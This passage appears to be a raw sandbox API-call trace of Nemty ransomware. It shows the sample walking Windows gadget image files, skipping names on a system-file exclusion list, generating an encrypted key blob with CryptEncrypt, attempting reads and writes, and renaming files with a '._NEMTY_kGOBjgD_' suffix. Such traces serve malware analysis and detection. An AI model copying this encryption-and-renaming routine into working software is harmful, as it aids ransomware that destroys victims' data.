cFileName="undocked_gray_hail.png", cAlternateFileName="")) returned 1 [0169.202] lstrcmpiW (lpString1="undocked_gray_hail.png", lpString2=".") returned 1 [0169.202] lstrcmpiW (lpString1="undocked_gray_hail.png", lpString2="..") returned 1 [0169.202] lstrcmpiW (lpString1="undocked_gray_hail.png", lpString2="...") returned 1 [0169.202] lstrcmpiW (lpString1="undocked_gray_hail.png", lpString2="windows") returned -1 [0169.202] lstrcmpiW (lpString1="undocked_gray_hail.png", lpString2="$RECYCLE.BIN") returned 1 [0169.202] lstrcmpiW (lpString1="undocked_gray_hail.png", lpString2="rsa") returned 1 [0169.202] lstrcmpiW (lpString1="undocked_gray_hail.png", lpString2="NTDETECT.COM") returned 1 [0169.202] lstrcmpiW (lpString1="undocked_gray_hail.png", lpString2="ntldr") returned 1 [0169.202] lstrcmpiW (lpString1="undocked_gray_hail.png", lpString2="MSDOS.SYS") returned 1 [0169.202] lstrcmpiW (lpString1="undocked_gray_hail.png", lpString2="IO.SYS") returned 1 [0169.202] lstrcmpiW (lpString1="undocked_gray_hail.png", lpString2="boot.ini") returned 1 [0169.202] lstrcmpiW (lpString1="undocked_gray_hail.png", lpString2="boot.ini") returned 1 [0169.202] lstrcmpiW (lpString1="undocked_gray_hail.png", lpString2="AUTOEXEC.BAT") returned 1 [0169.202] lstrcmpiW (lpString1="undocked_gray_hail.png", lpString2="ntuser.dat") returned 1 [0169.202] lstrcmpiW (lpString1="undocked_gray_hail.png", lpString2="desktop.ini") returned 1 [0169.202] lstrcmpiW (lpString1="undocked_gray_hail.png", lpString2="CONFIG.SYS") returned 1 [0169.202] lstrcmpiW (lpString1="undocked_gray_hail.png", lpString2="RECYCLER") returned 1 [0169.202] lstrcmpiW (lpString1="undocked_gray_hail.png", lpString2="BOOTSECT.BAK") returned 1 [0169.202] lstrcmpiW (lpString1="undocked_gray_hail.png", lpString2="bootmgr") returned 1 [0169.202] lstrcmpiW (lpString1="undocked_gray_hail.png", lpString2="programdata") returned 1 [0169.203] lstrcmpiW (lpString1="undocked_gray_hail.png", lpString2="appdata") returned 1 [0169.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0169.203] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_hail.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0169.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.203] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_hail.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_hail.png", lpUsedDefaultChar=0x0) returned 22 [0169.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0169.203] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_hail.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0169.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.203] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_hail.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_hail.png", lpUsedDefaultChar=0x0) returned 22 [0169.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0169.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0169.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0169.203] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_hail.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0169.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.203] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_hail.png", cchWideChar=22, lpMultiByteStr=0x4f9ecb8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_hail.png", lpUsedDefaultChar=0x0) returned 22 [0169.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0169.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0169.203] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_hail.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0169.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0169.203] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_hail.png", cchWideChar=22, lpMultiByteStr=0x4f9ed08, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_hail.png", lpUsedDefaultChar=0x0) returned 22 [0169.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0169.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0169.203] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0169.203] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0169.203] Sleep (dwMilliseconds=0x5) [0169.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x18812750, dwHighDateTime=0x1d561e8)) [0169.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x18812750, dwHighDateTime=0x1d561e8)) [0169.211] GetLastError () returned 0x5 [0169.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.211] GetLastError () returned 0x5 [0169.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.211] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0169.211] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0169.211] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0169.211] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0169.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0169.211] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="A0hMslN2ZhdHdronxnumg2P+8X48txUWv/6dxvauRlO2hbEy9IVqR0N9xzlu7Sk0\r\n3ONlNLM8JH2YCYgfmbzg7hVV4LxWDO8SvLM+fwJklpuUnecE9aBiKDGtuDXN9o6x\r\nTKpgmLH59ewhC0piIzFGt7Twez0GZhoORQcQlUMcRIXtW1mrGgtBAYyh+VLU/h6h\r\n9NNHgFK3ZB2wygSTwveSVfDTMXg0qV3SP5nhvH0IydNmIpTyQhQKBUT3sRaIETc1\r\nCVFpJl0rTBw5TeehvmfMq/xgHT8/Fa/cAPwyGxq8yc0omUQLWdO/13L6TbaE632s\r\nMkaoSKp6NoAFXPD780wVjQ==\r\n", pcchString=0x653e91c) returned 1 [0169.211] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0169.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0169.212] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0169.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0169.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0169.212] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0169.212] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_gray_hail.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_gray_hail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.213] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0169.213] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0169.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.213] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.222] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.222] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.222] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.222] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.231] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.231] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.231] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.231] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.241] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.241] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.241] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.250] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.250] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.250] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.251] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.260] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.260] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.260] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.260] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.270] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.270] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.270] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.279] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.279] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.279] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.288] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.288] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.288] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.288] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.298] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.298] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.298] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.298] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.307] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.307] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.307] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.307] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.313] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.313] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.313] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.313] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.319] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.319] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.319] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0169.319] CloseHandle (hObject=0xffffffff) returned 0 [0169.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0169.319] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0169.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0169.319] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0169.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0169.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0169.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0169.319] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0169.319] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0169.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0169.320] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_gray_hail.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_gray_hail.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_gray_hail.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_gray_hail.png._nemty_kgobjgd_")) returned 0 [0169.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0169.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0169.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0169.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0169.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0169.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0169.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0169.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0169.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.320] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8703dbb8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8703dbb8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x36b860b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xa742, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_gray_rainy.png", cAlternateFileName="")) returned 1 [0169.320] lstrcmpiW (lpString1="undocked_gray_rainy.png", lpString2=".") returned 1 [0169.320] lstrcmpiW (lpString1="undocked_gray_rainy.png", lpString2="..") returned 1 [0169.320] lstrcmpiW (lpString1="undocked_gray_rainy.png", lpString2="...") returned 1 [0169.320] lstrcmpiW (lpString1="undocked_gray_rainy.png", lpString2="windows") returned -1 [0169.320] lstrcmpiW (lpString1="undocked_gray_rainy.png", lpString2="$RECYCLE.BIN") returned 1 [0169.320] lstrcmpiW (lpString1="undocked_gray_rainy.png", lpString2="rsa") returned 1 [0169.320] lstrcmpiW (lpString1="undocked_gray_rainy.png", lpString2="NTDETECT.COM") returned 1 [0169.320] lstrcmpiW (lpString1="undocked_gray_rainy.png", lpString2="ntldr") returned 1 [0169.320] lstrcmpiW (lpString1="undocked_gray_rainy.png", lpString2="MSDOS.SYS") returned 1 [0169.320] lstrcmpiW (lpString1="undocked_gray_rainy.png", lpString2="IO.SYS") returned 1 [0169.320] lstrcmpiW (lpString1="undocked_gray_rainy.png", lpString2="boot.ini") returned 1 [0169.320] lstrcmpiW (lpString1="undocked_gray_rainy.png", lpString2="boot.ini") returned 1 [0169.320] lstrcmpiW (lpString1="undocked_gray_rainy.png", lpString2="AUTOEXEC.BAT") returned 1 [0169.320] lstrcmpiW (lpString1="undocked_gray_rainy.png", lpString2="ntuser.dat") returned 1 [0169.320] lstrcmpiW (lpString1="undocked_gray_rainy.png", lpString2="desktop.ini") returned 1 [0169.320] lstrcmpiW (lpString1="undocked_gray_rainy.png", lpString2="CONFIG.SYS") returned 1 [0169.320] lstrcmpiW (lpString1="undocked_gray_rainy.png", lpString2="RECYCLER") returned 1 [0169.321] lstrcmpiW (lpString1="undocked_gray_rainy.png", lpString2="BOOTSECT.BAK") returned 1 [0169.321] lstrcmpiW (lpString1="undocked_gray_rainy.png", lpString2="bootmgr") returned 1 [0169.321] lstrcmpiW (lpString1="undocked_gray_rainy.png", lpString2="programdata") returned 1 [0169.321] lstrcmpiW (lpString1="undocked_gray_rainy.png", lpString2="appdata") returned 1 [0169.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0169.321] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_rainy.png", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0169.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.321] WideCharToMultiByte (in: CodePage=0xfde9, 